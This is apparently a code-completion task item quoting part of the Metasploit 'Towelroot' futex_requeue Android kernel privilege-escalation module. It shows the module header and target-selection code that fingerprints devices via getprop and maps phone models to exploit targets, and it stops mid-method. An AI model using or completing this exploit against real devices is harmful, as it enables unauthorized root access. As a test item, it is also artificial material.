You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: futex_requeue.rb
    path of file: ./repos/metasploit-framework/modules/exploits/android/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",
          'Description' => %q{
            This module exploits a bug in futex_requeue in the Linux kernel, using
         
    
  def exploit
    if target['auto']
      product = cmd_exec("getprop ro.build.product")
      fingerprint = cmd_exec("getprop ro.build.fingerprint")
      print_status("Found device: #{product}")
      print_status("Fingerprint: #{fingerprint}")

      if [
        "mako",
        "m7",
        "hammerhead",
        "grouper",
        "Y530-U00",
        "G6-U10",
        "g2",
        "w7n",
        "D2303",
        "cancro",
      ].include? product
        my_target = targets[1] # Default
      elsif [
        "klte", # Samsung Galaxy S5
        "jflte", # Samsung Galaxy S4
        "d2vzw" # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
      ].include? product
        my_target = targets[2] # New Samsung
      elsif [
        "t03g",
        "m0",
      ].include? product
        my_target = targets[3] # Old Samsung
      elsif [
        "baffinlite",
        "Vodafone_785",
      ].include? product
        my_target = targets[4] # Samsung Grand
      else
        print_status("Could not automatically target #{product}")
        my_target = targets[1] # Default
      end